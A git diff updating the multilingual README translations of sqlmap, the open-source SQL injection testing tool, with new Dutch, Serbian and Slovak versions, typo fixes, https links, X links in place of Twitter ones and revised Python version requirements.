+sqlmap은 [Python](https://www.python.org/download/) 버전 **2.7** 그리고 **3.x** 을 통해 모든 플랫폼 위에서 사용 가능합니다.
사용법
----
@@ -39,12 +39,12 @@ sqlmap의 능력, 지원되는 기능과 모든 옵션과 스위치들의 목록
링크
----
-* 홈페이지: http://sqlmap.org
+* 홈페이지: https://sqlmap.org
* 다운로드: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* RSS 피드 커밋: https://github.com/sqlmapproject/sqlmap/commits/master.atom
* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
* 사용자 매뉴얼: https://github.com/sqlmapproject/sqlmap/wiki
* 자주 묻는 질문 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
-* 트위터: [@sqlmap](https://twitter.com/sqlmap)
-* 시연 영상: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
+* 트위터: [@sqlmap](https://x.com/sqlmap)
+* 시연 영상: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* 스크린샷: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
diff --git a/doc/translations/README-nl-NL.md b/doc/translations/README-nl-NL.md
new file mode 100644
index 00000000000..f114168410d
--- /dev/null
+++ b/doc/translations/README-nl-NL.md
@@ -0,0 +1,50 @@
+# sqlmap 
+
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
+
+sqlmap is een open source penetratie test tool dat het proces automatiseert van het detecteren en exploiteren van SQL injectie fouten en het overnemen van database servers. Het wordt geleverd met een krachtige detectie-engine, vele niche-functies voor de ultieme penetratietester, en een breed scala aan switches, waaronder database fingerprinting, het overhalen van gegevens uit de database, toegang tot het onderliggende bestandssysteem, en het uitvoeren van commando's op het besturingssysteem via out-of-band verbindingen.
+
+Screenshots
+----
+
+
+
+Je kunt de [collectie met screenshots](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) bezoeken voor een demonstratie van sommige functies in the wiki.
+
+Installatie
+----
+
+Je kunt de laatste tarball installeren door [hier](https://github.com/sqlmapproject/sqlmap/tarball/master) te klikken of de laatste zipball door [hier](https://github.com/sqlmapproject/sqlmap/zipball/master) te klikken.
+
+Bij voorkeur, kun je sqlmap downloaden door de [Git](https://github.com/sqlmapproject/sqlmap) repository te clonen:
+
+ git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
+
+sqlmap werkt op alle platformen met de volgende [Python](https://www.python.org/download/) versies: **2.7** en **3.x**.
+
+Gebruik
+----
+
+Om een lijst van basisopties en switches te krijgen gebruik:
+
+ python sqlmap.py -h
+
+Om een lijst van alle opties en switches te krijgen gebruik:
+
+ python sqlmap.py -hh
+
+Je kunt [hier](https://asciinema.org/a/46601) een proefrun vinden.
+Voor een overzicht van de mogelijkheden van sqlmap, een lijst van ondersteunde functies, en een beschrijving van alle opties en switches, samen met voorbeelden, wordt u aangeraden de [gebruikershandleiding](https://github.com/sqlmapproject/sqlmap/wiki/Usage) te raadplegen.
+
+Links
+----
+
+* Homepage: https://sqlmap.org
+* Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) of [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
+* RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom
+* Probleem tracker: https://github.com/sqlmapproject/sqlmap/issues
+* Gebruikers handleiding: https://github.com/sqlmapproject/sqlmap/wiki
+* Vaak gestelde vragen (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
+* X: [@sqlmap](https://x.com/sqlmap)
+* Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
+* Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
diff --git a/doc/translations/README-pl-PL.md b/doc/translations/README-pl-PL.md
index 142be1c5a83..e7b145e96b8 100644
--- a/doc/translations/README-pl-PL.md
+++ b/doc/translations/README-pl-PL.md
@@ -1,26 +1,26 @@
-# sqlmap
+# sqlmap 
-[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
-sqlmap to open sourceowe narzędzie do testów penetracyjnych, które automatyzuje procesy detekcji, przejmowania i testowania odporności serwerów SQL na podatność na iniekcję niechcianego kodu. Zawiera potężny mechanizm detekcji, wiele niszowych funkcji dla zaawansowanych testów penetracyjnych oraz szeroki wachlarz opcji począwszy od identyfikacji bazy danych, poprzez wydobywanie z nich danych, a nawet pozwalającuch na dostęp do systemu plików o uruchamianie poleceń w systemie operacyjnym serwera poprzez niestandardowe połączenia.
+sqlmap to open sourceowe narzędzie do testów penetracyjnych, które automatyzuje procesy detekcji, przejmowania i testowania odporności serwerów SQL na podatność na iniekcję niechcianego kodu. Zawiera potężny mechanizm detekcji, wiele niszowych funkcji dla zaawansowanych testów penetracyjnych oraz szeroki wachlarz opcji począwszy od identyfikacji bazy danych, poprzez wydobywanie z niej danych, a nawet pozwalających na dostęp do systemu plików oraz wykonywanie poleceń w systemie operacyjnym serwera poprzez niestandardowe połączenia.
-Zrzuty ekranowe
+Zrzuty ekranu
----

-Możesz odwiedzić [kolekcję zrzutów](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) demonstruującą na wiki niektóre możliwości.
+Możesz odwiedzić [kolekcję zrzutów](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) demonstrującą na wiki niektóre możliwości.
Instalacja
----
-Najnowsze tarball archiwum jest dostępne po klikcięciu [tutaj](https://github.com/sqlmapproject/sqlmap/tarball/master) lub najnowsze zipball archiwum po kliknięciu [tutaj](https://github.com/sqlmapproject/sqlmap/zipball/master).
+Najnowsze tarball archiwum jest dostępne po kliknięciu [tutaj](https://github.com/sqlmapproject/sqlmap/tarball/master) lub najnowsze zipball archiwum po kliknięciu [tutaj](https://github.com/sqlmapproject/sqlmap/zipball/master).
Można również pobrać sqlmap klonując rezozytorium [Git](https://github.com/sqlmapproject/sqlmap):
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-do użycia sqlmap potrzebny jest [Python](http://www.python.org/download/) w wersji **2.6**, **2.7** lub **3.x** na dowolnej platformie systemowej.
+do użycia sqlmap potrzebny jest [Python](https://www.python.org/download/) w wersji **2.7** lub **3.x** na dowolnej platformie systemowej.
Sposób użycia
----
@@ -33,18 +33,18 @@ Aby uzyskać listę wszystkich funkcji i parametrów użyj polecenia:
python sqlmap.py -hh
-Przykładowy wynik działania dostępny [tutaj](https://asciinema.org/a/46601).
-Aby uzyskać listę wszystkich dostępnych fukcji, parametrów i opisów ich działania wraz z przykładami użycia sqlnap proponujemy odwiedzić [instrukjcę użytkowania](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
+Przykładowy wynik działania można znaleźć [tutaj](https://asciinema.org/a/46601).
+Aby uzyskać listę wszystkich dostępnych funkcji, parametrów oraz opisów ich działania wraz z przykładami użycia sqlmap zalecamy odwiedzić [instrukcję użytkowania](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
Odnośniki
----
-* Strona projektu: http://sqlmap.org
-* Pobieranie: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
+* Strona projektu: https://sqlmap.org
+* Pobieranie: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) lub [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom
-* Raportowanie błędów: https://github.com/sqlmapproject/sqlmap/issues
+* Zgłaszanie błędów: https://github.com/sqlmapproject/sqlmap/issues
* Instrukcja użytkowania: https://github.com/sqlmapproject/sqlmap/wiki
* Często zadawane pytania (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
-* Twitter: [@sqlmap](https://twitter.com/sqlmap)
-* Dema: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
-* Zrzuty ekranowe: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
+* X: [@sqlmap](https://x.com/sqlmap)
+* Dema: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
+* Zrzuty ekranu: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
diff --git a/doc/translations/README-pt-BR.md b/doc/translations/README-pt-BR.md
index a2af1e3eb57..9f5ebfd9938 100644
--- a/doc/translations/README-pt-BR.md
+++ b/doc/translations/README-pt-BR.md
@@ -1,6 +1,6 @@
-# sqlmap
+# sqlmap 
-[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
sqlmap é uma ferramenta de teste de intrusão, de código aberto, que automatiza o processo de detecção e exploração de falhas de injeção SQL. Com essa ferramenta é possível assumir total controle de servidores de banco de dados em páginas web vulneráveis, inclusive de base de dados fora do sistema invadido. Ele possui um motor de detecção poderoso, empregando as últimas e mais devastadoras técnicas de teste de intrusão por SQL Injection, que permite acessar a base de dados, o sistema de arquivos subjacente e executar comandos no sistema operacional.
@@ -20,7 +20,7 @@ De preferência, você pode baixar o sqlmap clonando o repositório [Git](https:
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap funciona em [Python](http://www.python.org/download/) nas versões **2.6**, **2.7** e **3.x** em todas as plataformas.
+sqlmap funciona em [Python](https://www.python.org/download/) nas versões **2.7** e **3.x** em todas as plataformas.
Como usar
----
@@ -39,12 +39,12 @@ Para ter uma visão geral dos recursos do sqlmap, lista de recursos suportados e
Links
----
-* Homepage: http://sqlmap.org
+* Homepage: https://sqlmap.org
* Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ou [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom
* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
* Manual do Usuário: https://github.com/sqlmapproject/sqlmap/wiki
* Perguntas frequentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
-* Twitter: [@sqlmap](https://twitter.com/sqlmap)
-* Demonstrações: [#1](http://www.youtube.com/user/inquisb/videos) e [#2](http://www.youtube.com/user/stamparm/videos)
+* X: [@sqlmap](https://x.com/sqlmap)
+* Demonstrações: [#1](https://www.youtube.com/user/inquisb/videos) e [#2](https://www.youtube.com/user/stamparm/videos)
* Imagens: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
diff --git a/doc/translations/README-rs-RS.md b/doc/translations/README-rs-RS.md
new file mode 100644
index 00000000000..e130727feaa
--- /dev/null
+++ b/doc/translations/README-rs-RS.md
@@ -0,0 +1,50 @@
+# sqlmap 
+
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
+
+sqlmap je alat otvorenog koda namenjen za penetraciono testiranje koji automatizuje proces detekcije i eksploatacije sigurnosnih propusta SQL injekcije i preuzimanje baza podataka. Dolazi s moćnim mehanizmom za detekciju, mnoštvom korisnih opcija za napredno penetracijsko testiranje te široki spektar opcija od onih za prepoznavanja baze podataka, preko uzimanja podataka iz baze, do pristupa zahvaćenom fajl sistemu i izvršavanja komandi na operativnom sistemu korištenjem tzv. "out-of-band" veza.
+
+Slike
+----
+
+
+
+Možete posetiti [kolekciju slika](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) gde su demonstrirane neke od e se demonstriraju neke od funkcija na wiki stranicama.
+
+Instalacija
+----
+
+Možete preuzeti najnoviji tarball klikom [ovde](https://github.com/sqlmapproject/sqlmap/tarball/master) ili najnoviji zipball klikom [ovde](https://github.com/sqlmapproject/sqlmap/zipball/master).
+
+Opciono, možete preuzeti sqlmap kloniranjem [Git](https://github.com/sqlmapproject/sqlmap) repozitorija:
+
+ git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
+
+sqlmap radi bez posebnih zahteva korištenjem [Python](https://www.python.org/download/) verzije **2.7** i/ili **3.x** na bilo kojoj platformi.
+
+Korišćenje
+----
+
+Kako biste dobili listu osnovnih opcija i prekidača koristite:
+
+ python sqlmap.py -h
+
+Kako biste dobili listu svih opcija i prekidača koristite:
+
+ python sqlmap.py -hh
+
+Možete pronaći primer izvršavanja [ovde](https://asciinema.org/a/46601).
+Kako biste dobili pregled mogućnosti sqlmap-a, liste podržanih funkcija, te opis svih opcija i prekidača, zajedno s primerima, preporučen je uvid u [korisnički priručnik](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
+
+Linkovi
+----
+
+* Početna stranica: https://sqlmap.org
+* Preuzimanje: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ili [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
+* RSS feed promena u kodu: https://github.com/sqlmapproject/sqlmap/commits/master.atom
+* Prijava problema: https://github.com/sqlmapproject/sqlmap/issues
+* Korisnički priručnik: https://github.com/sqlmapproject/sqlmap/wiki
+* Najčešće postavljena pitanja (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
+* X: [@sqlmap](https://x.com/sqlmap)
+* Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
+* Slike: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
diff --git a/doc/translations/README-ru-RUS.md b/doc/translations/README-ru-RU.md
similarity index 74%
rename from doc/translations/README-ru-RUS.md
rename to doc/translations/README-ru-RU.md
index 89a19cfbfc6..38147222530 100644
--- a/doc/translations/README-ru-RUS.md
+++ b/doc/translations/README-ru-RU.md
@@ -1,6 +1,6 @@
-# sqlmap
+# sqlmap 
-[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
sqlmap - это инструмент для тестирования уязвимостей с открытым исходным кодом, который автоматизирует процесс обнаружения и использования ошибок SQL-инъекций и захвата серверов баз данных. Он оснащен мощным механизмом обнаружения, множеством приятных функций для профессионального тестера уязвимостей и широким спектром скриптов, которые упрощают работу с базами данных, от сбора данных из базы данных, до доступа к базовой файловой системе и выполнения команд в операционной системе через out-of-band соединение.
@@ -20,7 +20,7 @@ sqlmap - это инструмент для тестирования уязви
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap работает из коробки с [Python](http://www.python.org/download/) версии **2.6**, **2.7** и **3.x** на любой платформе.
+sqlmap работает из коробки с [Python](https://www.python.org/download/) версии **2.7** и **3.x** на любой платформе.
Использование
----
@@ -39,12 +39,12 @@ sqlmap работает из коробки с [Python](http://www.python.org/do
Ссылки
----
-* Основной сайт: http://sqlmap.org
+* Основной сайт: https://sqlmap.org
* Скачивание: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) или [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* Канал новостей RSS: https://github.com/sqlmapproject/sqlmap/commits/master.atom
* Отслеживание проблем: https://github.com/sqlmapproject/sqlmap/issues
* Пользовательский мануал: https://github.com/sqlmapproject/sqlmap/wiki
* Часто задаваемые вопросы (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
-* Twitter: [@sqlmap](https://twitter.com/sqlmap)
-* Демки: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
+* X: [@sqlmap](https://x.com/sqlmap)
+* Демки: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Скриншоты: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
diff --git a/doc/translations/README-sk-SK.md b/doc/translations/README-sk-SK.md
new file mode 100644
index 00000000000..d673b3e3aa8
--- /dev/null
+++ b/doc/translations/README-sk-SK.md
@@ -0,0 +1,50 @@
+# sqlmap 
+
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
+
+sqlmap je open source nástroj na penetračné testovanie, ktorý automatizuje proces detekovania a využívania chýb SQL injekcie a preberania databázových serverov. Je vybavený výkonným detekčným mechanizmom, mnohými výklenkovými funkciami pre dokonalého penetračného testera a širokou škálou prepínačov vrátane odtlačkov databázy, cez načítanie údajov z databázy, prístup k základnému súborovému systému a vykonávanie príkazov v operačnom systéme prostredníctvom mimopásmových pripojení.
+
+Snímky obrazovky
+----
+
+
+
+Môžete navštíviť [zbierku snímok obrazovky](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots), ktorá demonštruuje niektoré funkcie na wiki.
+
+Inštalácia
+----
+
+Najnovší tarball si môžete stiahnuť kliknutím [sem](https://github.com/sqlmapproject/sqlmap/tarball/master) alebo najnovší zipball kliknutím [sem](https://github.com/sqlmapproject/sqlmap/zipball/master).
+
+Najlepšie je stiahnuť sqlmap naklonovaním [Git](https://github.com/sqlmapproject/sqlmap) repozitára:
+
+ git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
+
+sqlmap funguje bez problémov s programovacím jazykom [Python](https://www.python.org/download/) vo verziách **2.7** a **3.x** na akejkoľvek platforme.
+
+Využitie
+----
+
+Na získanie zoznamu základných možností a prepínačov, použite:
+
+ python sqlmap.py -h
+
+Na získanie zoznamu všetkých možností a prepínačov, použite:
+
+ python sqlmap.py -hh
+
+Vzorku behu nájdete [tu](https://asciinema.org/a/46601).
+Ak chcete získať prehľad o možnostiach sqlmap, zoznam podporovaných funkcií a opis všetkých možností a prepínačov spolu s príkladmi, odporúčame vám nahliadnuť do [Používateľskej príručky](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
+
+Linky
+----
+
+* Domovská stránka: https://sqlmap.org
+* Stiahnutia: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) alebo [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
+* Zdroje RSS Commits: https://github.com/sqlmapproject/sqlmap/commits/master.atom
+* Sledovač problémov: https://github.com/sqlmapproject/sqlmap/issues
+* Používateľská príručka: https://github.com/sqlmapproject/sqlmap/wiki
+* Často kladené otázky (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
+* X: [@sqlmap](https://x.com/sqlmap)
+* Demá: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
+* Snímky obrazovky: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
\ No newline at end of file
diff --git a/doc/translations/README-tr-TR.md b/doc/translations/README-tr-TR.md
index 56d698cfe69..46e5267e9e0 100644
--- a/doc/translations/README-tr-TR.md
+++ b/doc/translations/README-tr-TR.md
@@ -1,8 +1,8 @@
-# sqlmap
+# sqlmap 
-[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
-sqlmap sql injection açıklarını otomatik olarak tespit ve istismar etmeye yarayan açık kaynak bir penetrasyon aracıdır. sqlmap gelişmiş tespit özelliğinin yanı sıra penetrasyon testleri sırasında gerekli olabilecek bir çok aracı, -uzak veritabınınından, veri indirmek, dosya sistemine erişmek, dosya çalıştırmak gibi - işlevleri de barındırmaktadır.
+sqlmap sql injection açıklarını otomatik olarak tespit ve istismar etmeye yarayan açık kaynak bir penetrasyon aracıdır. sqlmap gelişmiş tespit özelliğinin yanı sıra penetrasyon testleri sırasında gerekli olabilecek birçok aracı, uzak veritabanından, veri indirmek, dosya sistemine erişmek, dosya çalıştırmak gibi işlevleri de barındırmaktadır.
Ekran görüntüleri
@@ -11,19 +11,19 @@ Ekran görüntüleri

-İsterseniz özelliklerin tanıtımının yapıldığı [collection of screenshots](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) sayfasını ziyaret edebilirsiniz.
+İsterseniz özelliklerin tanıtımının yapıldığı [ekran görüntüleri](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) sayfasını ziyaret edebilirsiniz.
Kurulum
----
-[Buraya](https://github.com/sqlmapproject/sqlmap/tarball/master) tıklayarak en son sürüm tarball'ı veya [buraya](https://github.com/sqlmapproject/sqlmap/zipball/master) tıklayarak zipbal'ı indirebilirsiniz.
+[Buraya](https://github.com/sqlmapproject/sqlmap/tarball/master) tıklayarak en son sürüm tarball'ı veya [buraya](https://github.com/sqlmapproject/sqlmap/zipball/master) tıklayarak zipball'ı indirebilirsiniz.
Veya tercihen, [Git](https://github.com/sqlmapproject/sqlmap) reposunu klonlayarak indirebilirsiniz
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap [Python](http://www.python.org/download/) sitesinde bulunan **2.6**, **2.7** and **3.x** versiyonları ile bütün platformlarda çalışabilmektedir.
+sqlmap [Python](https://www.python.org/download/) sitesinde bulunan **2.7** ve **3.x** versiyonları ile bütün platformlarda çalışabilmektedir.
Kullanım
----
@@ -37,17 +37,17 @@ Bütün seçenekleri gösterir
python sqlmap.py -hh
-Program ile ilgili örnekleri [burada](https://asciinema.org/a/46601) bulabilirsiniz. Daha fazlası içinsqlmap'in bütün açıklamaları ile birlikte bütün özelliklerinin, örnekleri ile bulunduğu [manuel sayfamıza](https://github.com/sqlmapproject/sqlmap/wiki/Usage) bakmanızı tavsiye ediyoruz
+Program ile ilgili örnekleri [burada](https://asciinema.org/a/46601) bulabilirsiniz. Daha fazlası için sqlmap'in bütün açıklamaları ile birlikte bütün özelliklerinin, örnekleri ile bulunduğu [manuel sayfamıza](https://github.com/sqlmapproject/sqlmap/wiki/Usage) bakmanızı tavsiye ediyoruz
-Links
+Bağlantılar
----
-* Anasayfa: http://sqlmap.org
-* İndirme bağlantıları: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
+* Anasayfa: https://sqlmap.org
+* İndirme bağlantıları: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) veya [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* Commitlerin RSS beslemeleri: https://github.com/sqlmapproject/sqlmap/commits/master.atom
* Hata takip etme sistemi: https://github.com/sqlmapproject/sqlmap/issues
* Kullanıcı Manueli: https://github.com/sqlmapproject/sqlmap/wiki
* Sıkça Sorulan Sorular(SSS): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
-* Twitter: [@sqlmap](https://twitter.com/sqlmap)
-* Demolar: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
+* X: [@sqlmap](https://x.com/sqlmap)
+* Demolar: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Ekran görüntüleri: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
diff --git a/doc/translations/README-uk-UA.md b/doc/translations/README-uk-UA.md
index 4036b9d5a05..ab7814676b1 100644
--- a/doc/translations/README-uk-UA.md
+++ b/doc/translations/README-uk-UA.md
@@ -1,6 +1,6 @@
-# sqlmap
+# sqlmap 
-[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
sqlmap - це інструмент для тестування вразливостей з відкритим сирцевим кодом, який автоматизує процес виявлення і використання дефектів SQL-ін'єкцій, а також захоплення серверів баз даних. Він оснащений потужним механізмом виявлення, безліччю приємних функцій для професійного тестувальника вразливостей і широким спектром скриптів, які спрощують роботу з базами даних - від відбитка бази даних до доступу до базової файлової системи та виконання команд в операційній системі через out-of-band з'єднання.
@@ -20,7 +20,7 @@ sqlmap - це інструмент для тестування вразливо
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap «працює з коробки» з [Python](http://www.python.org/download/) версії **2.6**, **2.7** та **3.x** на будь-якій платформі.
+sqlmap «працює з коробки» з [Python](https://www.python.org/download/) версії **2.7** та **3.x** на будь-якій платформі.
Використання
----
@@ -39,12 +39,12 @@ sqlmap «працює з коробки» з [Python](http://www.python.org/down
Посилання
----
-* Основний сайт: http://sqlmap.org
+* Основний сайт: https://sqlmap.org
* Завантаження: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) або [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* Канал новин RSS: https://github.com/sqlmapproject/sqlmap/commits/master.atom
* Відстеження проблем: https://github.com/sqlmapproject/sqlmap/issues
* Інструкція користувача: https://github.com/sqlmapproject/sqlmap/wiki
* Поширенні питання (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
-* Twitter: [@sqlmap](https://twitter.com/sqlmap)
-* Демо: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
+* X: [@sqlmap](https://x.com/sqlmap)
+* Демо: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Скриншоти: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
diff --git a/doc/translations/README-vi-VN.md b/doc/translations/README-vi-VN.md
index 71216af6135..ceb2724552d 100644
--- a/doc/translations/README-vi-VN.md
+++ b/doc/translations/README-vi-VN.md
@@ -1,17 +1,16 @@
# sqlmap 
-[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
-sqlmap là một công cụ kiểm tra thâm nhập mã nguồn mở, nhằm tự động hóa quá trình phát hiện, khai thác lỗ hổng tiêm SQL và tiếp quản các máy chủ cơ sở dữ liệu. Nó đi kèm với
-một hệ thống phát hiện mạnh mẽ, nhiều tính năng thích hợp cho người kiểm tra thâm nhập và một loạt các tùy chọn bao gồm lấy dấu cơ sở dữ liệu, truy xuất dữ liệu từ cơ sở dữ
-liệu, truy cập tệp của hệ thống và thực hiện các lệnh trên hệ điều hành thông qua kết nối ngoài.
+sqlmap là một công cụ kiểm tra thâm nhập mã nguồn mở, nhằm tự động hóa quá trình phát hiện, khai thác lỗ hổng SQL injection và tiếp quản các máy chủ cơ sở dữ liệu. Công cụ này đi kèm với
+một hệ thống phát hiện mạnh mẽ, nhiều tính năng thích hợp cho người kiểm tra thâm nhập (pentester) và một loạt các tùy chọn bao gồm phát hiện, truy xuất dữ liệu từ cơ sở dữ liệu, truy cập file hệ thống và thực hiện các lệnh trên hệ điều hành từ xa.
Ảnh chụp màn hình
----

-Bạn có thể truy cập vào [bộ sưu tập ảnh chụp màn hình](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots), chúng trình bày một số tính năng trên wiki.
+Bạn có thể truy cập vào [bộ sưu tập ảnh chụp màn hình](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) - nơi trình bày một số tính năng có thể tìm thấy trong wiki.
Cài đặt
----
@@ -19,35 +18,35 @@ Cài đặt
Bạn có thể tải xuống tập tin nén tar mới nhất bằng cách nhấp vào [đây](https://github.com/sqlmapproject/sqlmap/tarball/master) hoặc tập tin nén zip mới nhất bằng cách nhấp vào [đây](https://github.com/sqlmapproject/sqlmap/zipball/master).
-Tốt hơn là bạn có thể tải xuống sqlmap bằng cách clone với [Git](https://github.com/sqlmapproject/sqlmap):
+Tốt hơn là bạn nên tải xuống sqlmap bằng cách clone về repo [Git](https://github.com/sqlmapproject/sqlmap):
